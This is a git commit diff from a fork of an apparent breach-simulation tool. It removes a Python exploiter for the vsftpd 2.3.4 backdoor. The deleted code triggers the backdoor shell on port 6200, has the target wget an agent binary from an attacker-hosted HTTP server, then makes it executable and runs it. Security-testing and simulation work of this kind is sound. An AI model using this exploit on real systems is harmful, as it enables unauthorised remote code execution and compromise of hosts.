forked from p15670423/monkey
Agent: Remove VSFTPD exploiter
This commit is contained in:
Shreya Malviya
parent
8ee918b5a2
commit
40b9b5b730
|
|
@ -39,7 +39,6 @@
|
||||||
"Struts2Exploiter",
|
"Struts2Exploiter",
|
||||||
"WebLogicExploiter",
|
"WebLogicExploiter",
|
||||||
"HadoopExploiter",
|
"HadoopExploiter",
|
||||||
"VSFTPDExploiter",
|
|
||||||
"MSSQLExploiter"
|
"MSSQLExploiter"
|
||||||
],
|
],
|
||||||
"finger_classes": [
|
"finger_classes": [
|
||||||
|
|
|
||||||
|
|
@ -1,166 +0,0 @@
|
||||||
"""
|
|
||||||
Implementation is based on VSFTPD v2.3.4 Backdoor Command Execution exploit by metasploit
|
|
||||||
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp
|
|
||||||
/vsftpd_234_backdoor.rb
|
|
||||||
only vulnerable version is "2.3.4"
|
|
||||||
"""
|
|
||||||
|
|
||||||
import socket
|
|
||||||
import time
|
|
||||||
from logging import getLogger
|
|
||||||
|
|
||||||
from common.utils.attack_utils import ScanStatus
|
|
||||||
from infection_monkey.exploit.HostExploiter import HostExploiter
|
|
||||||
from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey
|
|
||||||
from infection_monkey.exploit.tools.http_tools import HTTPTools
|
|
||||||
from infection_monkey.model import (
|
|
||||||
CHMOD_MONKEY,
|
|
||||||
DOWNLOAD_TIMEOUT,
|
|
||||||
MONKEY_ARG,
|
|
||||||
RUN_MONKEY,
|
|
||||||
WGET_HTTP_UPLOAD,
|
|
||||||
)
|
|
||||||
from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
|
|
||||||
from infection_monkey.utils.commands import build_monkey_commandline
|
|
||||||
|
|
||||||
logger = getLogger(__name__)
|
|
||||||
|
|
||||||
|
|
||||||
FTP_PORT = 21 # port at which vsftpd runs
|
|
||||||
BACKDOOR_PORT = 6200 # backdoor port
|
|
||||||
RECV_128 = 128 # In Bytes
|
|
||||||
UNAME_M = "uname -m"
|
|
||||||
ULIMIT_V = "ulimit -v " # To increase the memory limit
|
|
||||||
UNLIMITED = "unlimited;"
|
|
||||||
USERNAME = b"USER D3fa1t:)" # Ftp Username should end with :) to trigger the backdoor
|
|
||||||
PASSWORD = b"PASS please" # Ftp Password
|
|
||||||
FTP_TIME_BUFFER = 1 # In seconds
|
|
||||||
|
|
||||||
|
|
||||||
class VSFTPDExploiter(HostExploiter):
|
|
||||||
_TARGET_OS_TYPE = ["linux"]
|
|
||||||
_EXPLOITED_SERVICE = "VSFTPD"
|
|
||||||
|
|
||||||
def __init__(self, host):
|
|
||||||
self._update_timestamp = 0
|
|
||||||
super(VSFTPDExploiter, self).__init__(host)
|
|
||||||
self.skip_exist = self._config.skip_exploit_if_file_exist
|
|
||||||
|
|
||||||
def socket_connect(self, s, ip_addr, port):
|
|
||||||
try:
|
|
||||||
s.connect((ip_addr, port))
|
|
||||||
return True
|
|
||||||
except socket.error as e:
|
|
||||||
logger.info("Failed to connect to %s: %s", self.host.ip_addr, str(e))
|
|
||||||
return False
|
|
||||||
|
|
||||||
def socket_send_recv(self, s, message):
|
|
||||||
try:
|
|
||||||
s.send(message)
|
|
||||||
return s.recv(RECV_128).decode("utf-8")
|
|
||||||
except socket.error as e:
|
|
||||||
logger.info("Failed to send payload to %s: %s", self.host.ip_addr, str(e))
|
|
||||||
return False
|
|
||||||
|
|
||||||
def socket_send(self, s, message):
|
|
||||||
try:
|
|
||||||
s.send(message)
|
|
||||||
return True
|
|
||||||
except socket.error as e:
|
|
||||||
logger.info("Failed to send payload to %s: %s", self.host.ip_addr, str(e))
|
|
||||||
return False
|
|
||||||
|
|
||||||
def _exploit_host(self):
|
|
||||||
logger.info("Attempting to trigger the Backdoor..")
|
|
||||||
ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
||||||
|
|
||||||
if self.socket_connect(ftp_socket, self.host.ip_addr, FTP_PORT):
|
|
||||||
ftp_socket.recv(RECV_128).decode("utf-8")
|
|
||||||
|
|
||||||
if self.socket_send_recv(ftp_socket, USERNAME + b"\n"):
|
|
||||||
time.sleep(FTP_TIME_BUFFER)
|
|
||||||
self.socket_send(ftp_socket, PASSWORD + b"\n")
|
|
||||||
ftp_socket.close()
|
|
||||||
logger.info("Backdoor Enabled, Now we can run commands")
|
|
||||||
else:
|
|
||||||
logger.error("Failed to trigger backdoor on %s", self.host.ip_addr)
|
|
||||||
return False
|
|
||||||
|
|
||||||
logger.info("Attempting to connect to backdoor...")
|
|
||||||
backdoor_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
||||||
|
|
||||||
if self.socket_connect(backdoor_socket, self.host.ip_addr, BACKDOOR_PORT):
|
|
||||||
logger.info("Connected to backdoor on %s:6200", self.host.ip_addr)
|
|
||||||
|
|
||||||
uname_m = str.encode(UNAME_M + "\n")
|
|
||||||
response = self.socket_send_recv(backdoor_socket, uname_m)
|
|
||||||
|
|
||||||
if response:
|
|
||||||
logger.info("Response for uname -m: %s", response)
|
|
||||||
if "" != response.lower().strip():
|
|
||||||
# command execution is successful
|
|
||||||
self.host.os["machine"] = response.lower().strip()
|
|
||||||
self.host.os["type"] = "linux"
|
|
||||||
else:
|
|
||||||
logger.info("Failed to execute command uname -m on victim %r ", self.host)
|
|
||||||
|
|
||||||
src_path = get_target_monkey(self.host)
|
|
||||||
logger.info("src for suitable monkey executable for host %r is %s", self.host, src_path)
|
|
||||||
|
|
||||||
if not src_path:
|
|
||||||
logger.info("Can't find suitable monkey executable for host %r", self.host)
|
|
||||||
return False
|
|
||||||
|
|
||||||
# Create a http server to host the monkey
|
|
||||||
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path)
|
|
||||||
dropper_target_path_linux = self._config.dropper_target_path_linux
|
|
||||||
logger.info("Download link for monkey is %s", http_path)
|
|
||||||
|
|
||||||
# Upload the monkey to the machine
|
|
||||||
monkey_path = dropper_target_path_linux
|
|
||||||
download_command = WGET_HTTP_UPLOAD % {"monkey_path": monkey_path, "http_path": http_path}
|
|
||||||
download_command = str.encode(str(download_command) + "\n")
|
|
||||||
logger.info("Download command is %s", download_command)
|
|
||||||
if self.socket_send(backdoor_socket, download_command):
|
|
||||||
logger.info("Monkey is now Downloaded ")
|
|
||||||
else:
|
|
||||||
logger.error("Failed to download monkey at %s", self.host.ip_addr)
|
|
||||||
return False
|
|
||||||
|
|
||||||
http_thread.join(DOWNLOAD_TIMEOUT)
|
|
||||||
http_thread.stop()
|
|
||||||
|
|
||||||
# Change permissions
|
|
||||||
change_permission = CHMOD_MONKEY % {"monkey_path": monkey_path}
|
|
||||||
change_permission = str.encode(str(change_permission) + "\n")
|
|
||||||
logger.info("change_permission command is %s", change_permission)
|
|
||||||
backdoor_socket.send(change_permission)
|
|
||||||
T1222Telem(ScanStatus.USED, change_permission.decode(), self.host).send()
|
|
||||||
|
|
||||||
# Run monkey on the machine
|
|
||||||
parameters = build_monkey_commandline(
|
|
||||||
self.host, get_monkey_depth() - 1, vulnerable_port=FTP_PORT
|
|
||||||
)
|
|
||||||
run_monkey = RUN_MONKEY % {
|
|
||||||
"monkey_path": monkey_path,
|
|
||||||
"monkey_type": MONKEY_ARG,
|
|
||||||
"parameters": parameters,
|
|
||||||
}
|
|
||||||
|
|
||||||
# Set unlimited to memory
|
|
||||||
# we don't have to revert the ulimit because it just applies to the shell obtained by our
|
|
||||||
# exploit
|
|
||||||
run_monkey = ULIMIT_V + UNLIMITED + " " + run_monkey
|
|
||||||
run_monkey = str.encode(str(run_monkey) + "\n")
|
|
||||||
time.sleep(FTP_TIME_BUFFER)
|
|
||||||
if backdoor_socket.send(run_monkey):
|
|
||||||
logger.info(
|
|
||||||
"Executed monkey '%s' on remote victim %r (cmdline=%r)",
|
|
||||||
self._config.dropper_target_path_linux,
|
|
||||||
self.host,
|
|
||||||
run_monkey,
|
|
||||||
)
|
|
||||||
self.add_executed_cmd(run_monkey.decode())
|
|
||||||
return True
|
|
||||||
else:
|
|
||||||
return False
|
|
||||||
Loading…
Reference in New Issue